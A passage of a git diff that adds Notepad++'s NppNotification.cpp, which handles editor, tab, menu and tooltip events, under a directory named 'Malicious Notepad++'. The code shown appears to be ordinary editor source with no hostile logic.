0); +} diff --git a/Malicious Notepad++/src/NppNotification.cpp b/Malicious Notepad++/src/NppNotification.cpp new file mode 100644 index 0000000..632db90 --- /dev/null +++ b/Malicious Notepad++/src/NppNotification.cpp @@ -0,0 +1,1067 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "Notepad_plus_Window.h" +#include "xmlMatchedTagsHighlighter.h" +#include "VerticalFileSwitcher.h" +#include "ProjectPanel.h" +#include "documentMap.h" +#include "Common.h" +#include + +using namespace std; + +// Only for 2 main Scintilla editors +BOOL Notepad_plus::notify(SCNotification *notification) +{ + //Important, keep track of which element generated the message + bool isFromPrimary = (_mainEditView.getHSelf() == notification->nmhdr.hwndFrom || _mainDocTab.getHSelf() == notification->nmhdr.hwndFrom); + bool isFromSecondary = !isFromPrimary && (_subEditView.getHSelf() == notification->nmhdr.hwndFrom || _subDocTab.getHSelf() == notification->nmhdr.hwndFrom); + + ScintillaEditView * notifyView = nullptr; + if (isFromPrimary) + notifyView = &_mainEditView; + else if (isFromSecondary) + notifyView = &_subEditView; + + DocTabView *notifyDocTab = isFromPrimary?&_mainDocTab:&_subDocTab; + TBHDR * tabNotification = (TBHDR*) notification; + switch (notification->nmhdr.code) + { + case SCN_MODIFIED: + { + if (not notifyView) + return FALSE; + + static bool prevWasEdit = false; + if (notification->modificationType & (SC_MOD_DELETETEXT | SC_MOD_INSERTTEXT)) + { + _pEditView->updateBeginEndSelectPosition(notification->modificationType & SC_MOD_INSERTTEXT, notification->position, notification->length); + prevWasEdit = true; + _linkTriggered = true; + ::InvalidateRect(notifyView->getHSelf(), NULL, TRUE); + } + + if (notification->modificationType & (SC_MOD_DELETETEXT | SC_MOD_INSERTTEXT | SC_PERFORMED_UNDO | SC_PERFORMED_REDO)) + { + // for the backup system + _pEditView->getCurrentBuffer()->setModifiedStatus(true); + } + + if (notification->modificationType & SC_MOD_CHANGEFOLD) + { + if (prevWasEdit) + { + notifyView->foldChanged(notification->line, notification->foldLevelNow, notification->foldLevelPrev); + prevWasEdit = false; + } + } + else if (!(notification->modificationType & (SC_MOD_DELETETEXT | SC_MOD_INSERTTEXT))) + { + prevWasEdit = false; + } + + break; + } + + case SCN_SAVEPOINTREACHED: + case SCN_SAVEPOINTLEFT: + { + Buffer * buf = 0; + if (isFromPrimary) + { + buf = _mainEditView.getCurrentBuffer(); + } + else if (isFromSecondary) + { + buf = _subEditView.getCurrentBuffer(); + } + else + { + //Done by invisibleEditView? + BufferID id = BUFFER_INVALID; + if (notification->nmhdr.hwndFrom == _invisibleEditView.getHSelf()) + { + id = MainFileManager->getBufferFromDocument(_invisibleEditView.execute(SCI_GETDOCPOINTER)); + } + else if (notification->nmhdr.hwndFrom == _fileEditView.getHSelf()) + { + id = MainFileManager->getBufferFromDocument(_fileEditView.execute(SCI_GETDOCPOINTER)); + } + else + break; //wrong scintilla + + if (id != BUFFER_INVALID) + { + buf = MainFileManager->getBufferByID(id); + } + else + break; + } + + bool isDirty = notification->nmhdr.code == SCN_SAVEPOINTLEFT; + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + if (isSnapshotMode && !isDirty) + { + bool canUndo = _pEditView->execute(SCI_CANUNDO) == TRUE; + if (!canUndo && buf->isLoadedDirty() && buf->isDirty()) + isDirty = true; + } + buf->setDirty(isDirty); + break; + } + + case SCN_MODIFYATTEMPTRO: + { + // nothing to do + break; + } + + case SCN_KEY: + { + break; + } + + case TCN_MOUSEHOVERING: + case TCN_MOUSEHOVERSWITCHING: + { + NppParameters *pNppParam = NppParameters::getInstance(); + bool doPeekOnTab = pNppParam->getNppGUI()._isDocPeekOnTab; + bool doPeekOnMap = pNppParam->getNppGUI()._isDocPeekOnMap; + + if (doPeekOnTab) + { + TBHDR *tbHdr = reinterpret_cast(notification); + DocTabView *pTabDocView = isFromPrimary ? &_mainDocTab : (isFromSecondary ? &_subDocTab : nullptr); + + if (pTabDocView) + { + BufferID id = pTabDocView->getBufferByIndex(tbHdr->_tabOrigin); + Buffer *pBuf = MainFileManager->getBufferByID(id); + + Buffer *currentBufMain = _mainEditView.getCurrentBuffer(); + Buffer *currentBufSub = _subEditView.getCurrentBuffer(); + + RECT rect; + TabCtrl_GetItemRect(pTabDocView->getHSelf(), tbHdr->_tabOrigin, &rect); + POINT p; + p.x = rect.left; + p.y = rect.bottom; + ::ClientToScreen(pTabDocView->getHSelf(), &p); + + if (pBuf != currentBufMain && pBuf != currentBufSub) // if hover on other tab + { + _documentPeeker.doDialog(p, pBuf, *(const_cast(pTabDocView->getScintillaEditView()))); + _pEditView->getFocus(); + } + else // if hover on current active tab + { + _documentPeeker.display(false); + } + } + } + + if (doPeekOnMap && _pDocMap && (!_pDocMap->isClosed()) && _pDocMap->isVisible()) + { + TBHDR *tbHdr = reinterpret_cast(notification); + DocTabView *pTabDocView = isFromPrimary ? &_mainDocTab : (isFromSecondary ? &_subDocTab : nullptr); + if (pTabDocView) + { + BufferID id = pTabDocView->getBufferByIndex(tbHdr->_tabOrigin); + Buffer *pBuf = MainFileManager->getBufferByID(id); + + Buffer *currentBufMain = _mainEditView.getCurrentBuffer(); + Buffer *currentBufSub = _subEditView.getCurrentBuffer(); + + if (pBuf != currentBufMain && pBuf != currentBufSub) // if hover on other tab + { + _pDocMap->showInMapTemporarily(pBuf, notifyView); + _pDocMap->setSyntaxHiliting(); + } + else // if hover on current active tab + { + _pDocMap->reloadMap(); + _pDocMap->setSyntaxHiliting(); + } + _pDocMap->setTemporarilyShowing(true); + } + } + + break; + } + + case TCN_MOUSELEAVING: + { + NppParameters *pNppParam = NppParameters::getInstance(); + bool doPeekOnTab = pNppParam->getNppGUI()._isDocPeekOnTab; + bool doPeekOnMap = pNppParam->getNppGUI()._isDocPeekOnMap; + + if (doPeekOnTab) + { + _documentPeeker.display(false); + } + + if (doPeekOnMap && _pDocMap && (!_pDocMap->isClosed()) && _pDocMap->isVisible()) + { + _pDocMap->reloadMap(); + _pDocMap->setSyntaxHiliting(); + + _pDocMap->setTemporarilyShowing(false); + } + break; + } + + case TCN_TABDROPPEDOUTSIDE: + case TCN_TABDROPPED: + { + TabBarPlus *sender = reinterpret_cast(notification->nmhdr.idFrom); + bool isInCtrlStat = (::GetKeyState(VK_LCONTROL) & 0x80000000) != 0; + if (notification->nmhdr.code == TCN_TABDROPPEDOUTSIDE) + { + POINT p = sender->getDraggingPoint(); + + //It's the coordinate of screen, so we can call + //"WindowFromPoint" function without converting the point + HWND hWin = ::WindowFromPoint(p); + if (hWin == _pEditView->getHSelf()) // In the same view group + { + if (!_tabPopupDropMenu.isCreated()) + { + TCHAR goToView[32] = TEXT("Move to other view"); + TCHAR cloneToView[32] = TEXT("Clone to other View"); + vector itemUnitArray; + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_GOTO_ANOTHER_VIEW, goToView)); + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_CLONE_TO_ANOTHER_VIEW, cloneToView)); + _tabPopupDropMenu.create(_pPublicInterface->getHSelf(), itemUnitArray, _mainMenuHandle); + _nativeLangSpeaker.changeLangTabDrapContextMenu(_tabPopupDropMenu.getMenuHandle()); + } + _tabPopupDropMenu.display(p); + } + else if ((hWin == _pNonDocTab->getHSelf()) || + (hWin == _pNonEditView->getHSelf())) // In the another view group + { + docGotoAnotherEditView(isInCtrlStat?TransferClone:TransferMove); + } + else + { + RECT nppZone; + ::GetWindowRect(_pPublicInterface->getHSelf(), &nppZone); + bool isInNppZone = (((p.x >= nppZone.left) && (p.x <= nppZone.right)) && (p.y >= nppZone.top) && (p.y <= nppZone.bottom)); + if (isInNppZone) + { + // Do nothing + return TRUE; + } + generic_string quotFileName = TEXT("\""); + quotFileName += _pEditView->getCurrentBuffer()->getFullPathName(); + quotFileName += TEXT("\""); + COPYDATASTRUCT fileNamesData; + fileNamesData.dwData = COPYDATA_FILENAMES; + fileNamesData.lpData = (void *)quotFileName.c_str(); + fileNamesData.cbData = long(quotFileName.length() + 1)*(sizeof(TCHAR)); + + HWND hWinParent = ::GetParent(hWin); + const rsize_t classNameBufferSize = MAX_PATH; + TCHAR className[classNameBufferSize]; + ::GetClassName(hWinParent,className, classNameBufferSize); + if (lstrcmp(className, _pPublicInterface->getClassName()) == 0 && hWinParent != _pPublicInterface->getHSelf()) // another Notepad++ + { + int index = _pDocTab->getCurrentTabIndex(); + BufferID bufferToClose = notifyDocTab->getBufferByIndex(index); + Buffer * buf = MainFileManager->getBufferByID(bufferToClose); + int iView = isFromPrimary?MAIN_VIEW:SUB_VIEW; + if (buf->isDirty()) + { + generic_string msg, title; + _nativeLangSpeaker.messageBox("CannotMoveDoc", + _pPublicInterface->getHSelf(), + TEXT("Document is modified, save it then try again."), + TEXT("Move to new Notepad++ Instance"), + MB_OK); + } + else + { + ::SendMessage(hWinParent, NPPM_INTERNAL_SWITCHVIEWFROMHWND, 0, reinterpret_cast(hWin)); + ::SendMessage(hWinParent, WM_COPYDATA, reinterpret_cast(_pPublicInterface->getHinst()), reinterpret_cast(&fileNamesData)); + if (!isInCtrlStat) + { + fileClose(bufferToClose, iView); + if (noOpenedDoc()) + ::SendMessage(_pPublicInterface->getHSelf(), WM_CLOSE, 0, 0); + } + } + } + else // Not Notepad++, we open it here + { + docOpenInNewInstance(isInCtrlStat?TransferClone:TransferMove, p.x, p.y); + } + } + } + //break; + sender->resetDraggingPoint(); + return TRUE; + } + + case TCN_TABDELETE: + { + int index = tabNotification->_tabOrigin; + BufferID bufferToClose = notifyDocTab->getBufferByIndex(index); + Buffer * buf = MainFileManager->getBufferByID(bufferToClose); + int iView = isFromPrimary?MAIN_VIEW:SUB_VIEW; + if (buf->isDirty()) + { + activateBuffer(bufferToClose, iView); + } + + if (fileClose(bufferToClose, iView)) + checkDocState(); + + break; + } + + case TCN_SELCHANGE: + { + int iView = -1; + if (notification->nmhdr.hwndFrom == _mainDocTab.getHSelf()) + { + iView = MAIN_VIEW; + } + else if (notification->nmhdr.hwndFrom == _subDocTab.getHSelf()) + { + iView = SUB_VIEW; + } + else + break; + + // save map position before switch to a new document + _documentPeeker.saveCurrentSnapshot(*_pEditView); + + switchEditViewTo(iView); + BufferID bufid = _pDocTab->getBufferByIndex(_pDocTab->getCurrentTabIndex()); + if (bufid != BUFFER_INVALID) + { + _isFolding = true; // So we can ignore events while folding is taking place + activateBuffer(bufid, iView); + _isFolding = false; + } + _documentPeeker.display(false); + break; + } + + case NM_CLICK : + { + if (notification->nmhdr.hwndFrom == _statusBar.getHSelf()) + { + LPNMMOUSE lpnm = (LPNMMOUSE)notification; + if (lpnm->dwItemSpec == DWORD(STATUSBAR_TYPING_MODE)) + { + bool isOverTypeMode = (_pEditView->execute(SCI_GETOVERTYPE) != 0); + _pEditView->execute(SCI_SETOVERTYPE, !isOverTypeMode); + _statusBar.setText((_pEditView->execute(SCI_GETOVERTYPE))?TEXT("OVR"):TEXT("INS"), STATUSBAR_TYPING_MODE); + } + } + else if (notification->nmhdr.hwndFrom == _mainDocTab.getHSelf() && _activeView == SUB_VIEW) + { + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + if (isSnapshotMode) + { + // Before switching off, synchronize backup file + MainFileManager->backupCurrentBuffer(); + } + // Switch off + switchEditViewTo(MAIN_VIEW); + } + else if (notification->nmhdr.hwndFrom == _subDocTab.getHSelf() && _activeView == MAIN_VIEW) + { + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + if (isSnapshotMode) + { + // Before switching off, synchronize backup file + MainFileManager->backupCurrentBuffer(); + } + // Switch off + switchEditViewTo(SUB_VIEW); + } + + break; + } + + case NM_DBLCLK : + { + if (notification->nmhdr.hwndFrom == _statusBar.getHSelf()) + { + LPNMMOUSE lpnm = (LPNMMOUSE)notification; + if (lpnm->dwItemSpec == DWORD(STATUSBAR_CUR_POS)) + { + bool isFirstTime = !_goToLineDlg.isCreated(); + _goToLineDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_goToLineDlg.getHSelf(), "GoToLine"); + } + else if (lpnm->dwItemSpec == DWORD(STATUSBAR_DOC_SIZE)) + { + command(IDM_VIEW_SUMMARY); + } + else if (lpnm->dwItemSpec == DWORD(STATUSBAR_DOC_TYPE)) + { + POINT p; + ::GetCursorPos(&p); + HMENU hLangMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_LANGUAGE); + TrackPopupMenu(hLangMenu, 0, p.x, p.y, 0, _pPublicInterface->getHSelf(), NULL); + } + else if (lpnm->dwItemSpec == DWORD(STATUSBAR_EOF_FORMAT)) + { + POINT p; + ::GetCursorPos(&p); + MenuPosition & menuPos = getMenuPosition("edit-eolConversion"); + HMENU hEditMenu = ::GetSubMenu(_mainMenuHandle, menuPos._x); + if (!hEditMenu) + return TRUE; + HMENU hEolFormatMenu = ::GetSubMenu(hEditMenu, menuPos._y); + if (!hEolFormatMenu) + return TRUE; + TrackPopupMenu(hEolFormatMenu, 0, p.x, p.y, 0, _pPublicInterface->getHSelf(), NULL); + } + } + break; + } + + case NM_RCLICK : + { + POINT p; + ::GetCursorPos(&p); + + if (notification->nmhdr.hwndFrom == _mainDocTab.getHSelf()) + { + switchEditViewTo(MAIN_VIEW); + } + else if (notification->nmhdr.hwndFrom == _subDocTab.getHSelf()) + { + switchEditViewTo(SUB_VIEW); + } + else if (notification->nmhdr.hwndFrom == _statusBar.getHSelf()) // From Status Bar + { + LPNMMOUSE lpnm = (LPNMMOUSE)notification; + if (lpnm->dwItemSpec == DWORD(STATUSBAR_DOC_TYPE)) + { + POINT p; + ::GetCursorPos(&p); + HMENU hLangMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_LANGUAGE); + TrackPopupMenu(hLangMenu, 0, p.x, p.y, 0, _pPublicInterface->getHSelf(), NULL); + } + else if (lpnm->dwItemSpec == DWORD(STATUSBAR_EOF_FORMAT)) + { + POINT p; + ::GetCursorPos(&p); + MenuPosition & menuPos = getMenuPosition("edit-eolConversion"); + HMENU hEditMenu = ::GetSubMenu(_mainMenuHandle, menuPos._x); + if (!hEditMenu) + return TRUE; + HMENU hEolFormatMenu = ::GetSubMenu(hEditMenu, menuPos._y); + if (!hEolFormatMenu) + return TRUE; + TrackPopupMenu(hEolFormatMenu, 0, p.x, p.y, 0, _pPublicInterface->getHSelf(), NULL); + } + return TRUE; + } + else if (_pFileSwitcherPanel && notification->nmhdr.hwndFrom == _pFileSwitcherPanel->getHSelf()) + { + // Already switched, so do nothing here. + + if (_pFileSwitcherPanel->nbSelectedFiles() > 1) + { + if (!_fileSwitcherMultiFilePopupMenu.isCreated()) + { + vector itemUnitArray; + itemUnitArray.push_back(MenuItemUnit(IDM_FILESWITCHER_FILESCLOSE, TEXT("Close Selected files"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILESWITCHER_FILESCLOSEOTHERS, TEXT("Close others files"))); + + _fileSwitcherMultiFilePopupMenu.create(_pPublicInterface->getHSelf(), itemUnitArray); + _nativeLangSpeaker.changeLangTabContextMenu(_fileSwitcherMultiFilePopupMenu.getMenuHandle()); + } + _fileSwitcherMultiFilePopupMenu.display(p); + return TRUE; + } + } + else // From tool bar + return TRUE; + //break; + + if (!_tabPopupMenu.isCreated()) + { + // IMPORTANT: If list below is modified, you have to change the value of tabContextMenuItemPos[] in localization.cpp file + std::vector itemUnitArray; + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_CLOSE, TEXT("Close"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_CLOSEALL_BUT_CURRENT, TEXT("Close All BUT This"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_CLOSEALL_TOLEFT, TEXT("Close All to the Left"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_CLOSEALL_TORIGHT, TEXT("Close All to the Right"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_SAVE, TEXT("Save"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_SAVEAS, TEXT("Save As..."))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_RENAME, TEXT("Rename"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_DELETE, TEXT("Move to Recycle Bin"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_RELOAD, TEXT("Reload"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_PRINT, TEXT("Print"))); + itemUnitArray.push_back(MenuItemUnit(0, NULL)); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_OPEN_FOLDER, TEXT("Open Containing Folder in Explorer"))); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_OPEN_CMD, TEXT("Open Containing Folder in cmd"))); + itemUnitArray.push_back(MenuItemUnit(0, NULL)); + itemUnitArray.push_back(MenuItemUnit(IDM_FILE_OPEN_DEFAULT_VIEWER, TEXT("Open in Default Viewer"))); + itemUnitArray.push_back(MenuItemUnit(0, NULL)); + itemUnitArray.push_back(MenuItemUnit(IDM_EDIT_SETREADONLY, TEXT("Read-Only"))); + itemUnitArray.push_back(MenuItemUnit(IDM_EDIT_CLEARREADONLY, TEXT("Clear Read-Only Flag"))); + itemUnitArray.push_back(MenuItemUnit(0, NULL)); + itemUnitArray.push_back(MenuItemUnit(IDM_EDIT_FULLPATHTOCLIP, TEXT("Full File Path to Clipboard"))); + itemUnitArray.push_back(MenuItemUnit(IDM_EDIT_FILENAMETOCLIP, TEXT("Filename to Clipboard"))); + itemUnitArray.push_back(MenuItemUnit(IDM_EDIT_CURRENTDIRTOCLIP, TEXT("Current Dir. Path to Clipboard"))); + itemUnitArray.push_back(MenuItemUnit(0, NULL)); + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_GOTO_ANOTHER_VIEW, TEXT("Move to Other View"))); + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_CLONE_TO_ANOTHER_VIEW, TEXT("Clone to Other View"))); + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_GOTO_NEW_INSTANCE, TEXT("Move to New Instance"))); + itemUnitArray.push_back(MenuItemUnit(IDM_VIEW_LOAD_IN_NEW_INSTANCE, TEXT("Open in New Instance"))); + // IMPORTANT: If list above is modified, you have to change the value of tabContextMenuItemPos[] in localization.cpp file + + _tabPopupMenu.create(_pPublicInterface->getHSelf(), itemUnitArray); + _nativeLangSpeaker.changeLangTabContextMenu(_tabPopupMenu.getMenuHandle()); + } + + bool isEnable = ((::GetMenuState(_mainMenuHandle, IDM_FILE_SAVE, MF_BYCOMMAND)&MF_DISABLED) == 0); + _tabPopupMenu.enableItem(IDM_FILE_SAVE, isEnable); + + Buffer * buf = _pEditView->getCurrentBuffer(); + bool isUserReadOnly = buf->getUserReadOnly(); + _tabPopupMenu.checkItem(IDM_EDIT_SETREADONLY, isUserReadOnly); + + bool isSysReadOnly = buf->getFileReadOnly(); + _tabPopupMenu.enableItem(IDM_EDIT_SETREADONLY, not isSysReadOnly && not buf->isMonitoringOn()); + _tabPopupMenu.enableItem(IDM_EDIT_CLEARREADONLY, isSysReadOnly); + + bool isFileExisting = PathFileExists(buf->getFullPathName()) != FALSE; + _tabPopupMenu.enableItem(IDM_FILE_DELETE, isFileExisting); + _tabPopupMenu.enableItem(IDM_FILE_RENAME, isFileExisting); + + _tabPopupMenu.enableItem(IDM_FILE_OPEN_DEFAULT_VIEWER, isAssoCommandExisting(buf->getFullPathName())); + + bool isDirty = buf->isDirty(); + bool isUntitled = buf->isUntitled(); + _tabPopupMenu.enableItem(IDM_VIEW_GOTO_NEW_INSTANCE, !(isDirty||isUntitled)); + _tabPopupMenu.enableItem(IDM_VIEW_LOAD_IN_NEW_INSTANCE, !(isDirty||isUntitled)); + + _tabPopupMenu.display(p); + return TRUE; + } + + + case SCN_MARGINCLICK: + { + if (notification->nmhdr.hwndFrom == _mainEditView.getHSelf()) + switchEditViewTo(MAIN_VIEW); + else if (notification->nmhdr.hwndFrom == _subEditView.getHSelf()) + switchEditViewTo(SUB_VIEW); + + int lineClick = int(_pEditView->execute(SCI_LINEFROMPOSITION, notification->position)); + + if (notification->margin == ScintillaEditView::_SC_MARGE_FOLDER) + { + _pEditView->marginClick(notification->position, notification->modifiers); + if (_pDocMap) + _pDocMap->fold(lineClick, _pEditView->isFolded(lineClick)); + + ScintillaEditView * unfocusView = isFromPrimary ? &_subEditView : &_mainEditView; + + _smartHighlighter.highlightView(_pEditView, unfocusView); + } + else if ((notification->margin == ScintillaEditView::_SC_MARGE_SYBOLE) && !notification->modifiers) + { + if (!_pEditView->markerMarginClick(lineClick)) + bookmarkToggle(lineClick); + } + break; + } + + case SCN_FOLDINGSTATECHANGED : + { + if ((notification->nmhdr.hwndFrom == _mainEditView.getHSelf()) || (notification->nmhdr.hwndFrom == _subEditView.getHSelf())) + { + int lineClicked = notification->line; + + if (!_isFolding) + { + int urlAction = (NppParameters::getInstance())->getNppGUI()._styleURL; + if ((urlAction == 1) || (urlAction == 2)) + addHotSpot(); + } + + if (_pDocMap) + _pDocMap->fold(lineClicked, _pEditView->isFolded(lineClicked)); + } + return TRUE; + } + + case SCN_CHARADDED: + { + if (!_recordingMacro && !_playingBackMacro) // No macro recording or playing back + { + const NppGUI & nppGui = NppParameters::getInstance()->getNppGUI(); + bool indentMaintain = nppGui._maitainIndent; + if (indentMaintain) + maintainIndentation(static_cast(notification->ch)); + + AutoCompletion * autoC = isFromPrimary ? &_autoCompleteMain : &_autoCompleteSub; + bool isColumnMode = _pEditView->execute(SCI_GETSELECTIONS) > 1; // Multi-Selection || Column mode) + if (nppGui._matchedPairConf.hasAnyPairsPair() && !isColumnMode) + autoC->insertMatchedChars(notification->ch, nppGui._matchedPairConf); + autoC->update(notification->ch); + } + break; + } + + case SCN_DOUBLECLICK: + { + if (not notifyView) + return FALSE; + + if (notification->modifiers == SCMOD_CTRL) + { + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + + std::string bufstring; + + size_t position_of_click; + // For some reason Ctrl+DoubleClick on an empty line means that notification->position == 1. + // In that case we use SCI_GETCURRENTPOS to get the position. + if (notification->position != -1) + position_of_click = notification->position; + else + position_of_click = _pEditView->execute(SCI_GETCURRENTPOS); + + // Anonymous scope to limit use of the buf pointer (much easier to deal with std::string). + { + char *buf; + + if (nppGUI._delimiterSelectionOnEntireDocument) + { + // Get entire document. + auto length = notifyView->execute(SCI_GETLENGTH); + buf = new char[length + 1]; + notifyView->execute(SCI_GETTEXT, length + 1, reinterpret_cast(buf)); + } + else + { + // Get single line. + auto length = notifyView->execute(SCI_GETCURLINE); + buf = new char[length + 1]; + notifyView->execute(SCI_GETCURLINE, length, reinterpret_cast(buf)); + + // Compute the position of the click (relative to the beginning of the line). + const auto line_position = notifyView->execute(SCI_POSITIONFROMLINE, notifyView->getCurrentLineNumber()); + position_of_click = position_of_click - line_position; + } + + bufstring = buf; + delete [] buf; + } + + int leftmost_position = -1; + int rightmost_position = -1; + + if (nppGUI._rightmostDelimiter == nppGUI._leftmostDelimiter) + { + // If the delimiters are the same (e.g. they are both a quotation mark), choose the ones + // which are closest to the clicked position. + for (int32_t i = static_cast(position_of_click); i >= 0; --i) + { + if (bufstring.at(i) == nppGUI._leftmostDelimiter) + { + // Respect escaped quotation marks. + if (nppGUI._leftmostDelimiter == '"') + { + if (! (i > 0 && bufstring.at(i - 1) == '\\')) + { + leftmost_position = i; + break; + } + } + else + { + leftmost_position = i; + break; + } + } + } + + if (leftmost_position == -1) + break; + + // Scan for right delimiter. + for (size_t i = position_of_click; i < bufstring.length(); ++i) + { + if (bufstring.at(i) == nppGUI._rightmostDelimiter) + { + // Respect escaped quotation marks. + if (nppGUI._rightmostDelimiter == '"') + { + if (! (i > 0 && bufstring.at(i - 1) == '\\')) + { + rightmost_position = static_cast(i); + break; + } + } + else + { + rightmost_position = static_cast(i); + break; + } + } + } + } + else + { + // Find matching pairs of delimiters (e.g. parantheses). + // The pair where the distance from the left delimiter to position_of_click is at a minimum is the one we're looking for. + // Of course position_of_click must lie between the delimiters. + + // This logic is required to handle cases like this: + // (size_t i = function(); i < _buffers.size(); i++) + + std::stack leftmost_delimiter_positions; + + for (unsigned int i = 0; i < bufstring.length(); ++i) + { + if (bufstring.at(i) == nppGUI._leftmostDelimiter) + leftmost_delimiter_positions.push(i); + else if (bufstring.at(i) == nppGUI._rightmostDelimiter && ! leftmost_delimiter_positions.empty()) + { + unsigned int matching_leftmost = leftmost_delimiter_positions.top(); + leftmost_delimiter_positions.pop(); + + // We have either 1) chosen neither the left- or rightmost position, or 2) chosen both left- and rightmost position. + assert( (leftmost_position == -1 && rightmost_position == -1) || (leftmost_position >= 0 && rightmost_position >= 0) ); + + // Note: cast of leftmost_position to unsigned int is safe, since if leftmost_position is not -1 then it is guaranteed to be positive. + // If it was possible, leftmost_position and rightmost_position should be of type optional. + if (matching_leftmost <= position_of_click && i >= position_of_click && (leftmost_position == -1 || matching_leftmost > static_cast(leftmost_position))) + { + leftmost_position = matching_leftmost; + rightmost_position = i; + } + } + } + } + + // Set selection to the position we found (if any). + if (rightmost_position != -1 && leftmost_position != -1) + { + if (nppGUI._delimiterSelectionOnEntireDocument) + { + notifyView->execute(SCI_SETCURRENTPOS, rightmost_position); + notifyView->execute(SCI_SETANCHOR, leftmost_position + 1); + } + else + { + const auto line_position = notifyView->execute(SCI_POSITIONFROMLINE, notifyView->getCurrentLineNumber()); + notifyView->execute(SCI_SETCURRENTPOS, line_position + rightmost_position); + notifyView->execute(SCI_SETANCHOR, line_position + leftmost_position + 1); + } + } + } + + break; + } + + case SCN_UPDATEUI: + { + if (not notifyView) + return FALSE; + + NppParameters *nppParam = NppParameters::getInstance(); + NppGUI & nppGui = const_cast(nppParam->getNppGUI()); + + // replacement for obsolete custom SCN_SCROLLED + if (notification->updated & SC_UPDATE_V_SCROLL) + { + int urlAction = (NppParameters::getInstance())->getNppGUI()._styleURL; + if ((urlAction == 1) || (urlAction == 2)) + addHotSpot(); + } + + // if it's searching/replacing, then do nothing + if (nppParam->_isFindReplacing) + break; + + if (notification->nmhdr.hwndFrom != _pEditView->getHSelf()) // notification come from unfocus view - both views ae visible + { + //ScintillaEditView * unfocusView = isFromPrimary ? &_subEditView : &_mainEditView; + if (nppGui._smartHiliteOnAnotherView && + _pEditView->getCurrentBufferID() != notifyView->getCurrentBufferID()) + { + TCHAR selectedText[1024]; + _pEditView->getGenericSelectedText(selectedText, sizeof(selectedText)/sizeof(TCHAR), false); + _smartHighlighter.highlightViewWithWord(notifyView, selectedText); + } + break; + } + + braceMatch(); + + if (nppGui._enableTagsMatchHilite) + { + XmlMatchedTagsHighlighter xmlTagMatchHiliter(_pEditView); + xmlTagMatchHiliter.tagMatch(nppGui._enableTagAttrsHilite); + } + + if (nppGui._enableSmartHilite) + { + if (nppGui._disableSmartHiliteTmp) + nppGui._disableSmartHiliteTmp = false; + else + { + ScintillaEditView * anbotherView = isFromPrimary ? &_subEditView : &_mainEditView; + _smartHighlighter.highlightView(notifyView, anbotherView); + } + } + + updateStatusBar(); + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->update(0); + + break; + } + + case TTN_GETDISPINFO: + { + try + { + LPTOOLTIPTEXT lpttt = (LPTOOLTIPTEXT)notification; + + //Joce's fix + lpttt->hinst = NULL; + + POINT p; + ::GetCursorPos(&p); + ::ScreenToClient(_pPublicInterface->getHSelf(), &p); + HWND hWin = ::RealChildWindowFromPoint(_pPublicInterface->getHSelf(), p); + const int tipMaxLen = 1024; + static TCHAR docTip[tipMaxLen]; + docTip[0] = '\0'; + + generic_string tipTmp(TEXT("")); + int id = int(lpttt->hdr.idFrom); + + if (hWin == _rebarTop.getHSelf()) + { + getNameStrFromCmd(id, tipTmp); + if (tipTmp.length() >= 80) + return FALSE; + + lstrcpy(lpttt->szText, tipTmp.c_str()); + return TRUE; + } + else if (hWin == _mainDocTab.getHSelf()) + { + BufferID idd = _mainDocTab.getBufferByIndex(id); + Buffer * buf = MainFileManager->getBufferByID(idd); + tipTmp = buf->getFullPathName(); + + if (tipTmp.length() >= tipMaxLen) + return FALSE; + lstrcpy(docTip, tipTmp.c_str()); + lpttt->lpszText = docTip; + return TRUE; + } + else if (hWin == _subDocTab.getHSelf()) + { + BufferID idd = _subDocTab.getBufferByIndex(id); + Buffer * buf = MainFileManager->getBufferByID(idd); + tipTmp = buf->getFullPathName(); + + if (tipTmp.length() >= tipMaxLen) + return FALSE; + lstrcpy(docTip, tipTmp.c_str()); + lpttt->lpszText = docTip; + return TRUE; + } + else + return FALSE; + } + catch (...) + { + //printStr(TEXT("ToolTip crash is caught!")); + } + break; + } + + + case SCN_ZOOM: + { + if (not notifyView) + return FALSE; + + ScintillaEditView * unfocusView = isFromPrimary ? &_subEditView : &_mainEditView; + _smartHighlighter.highlightView(notifyView, unfocusView); + break; + } 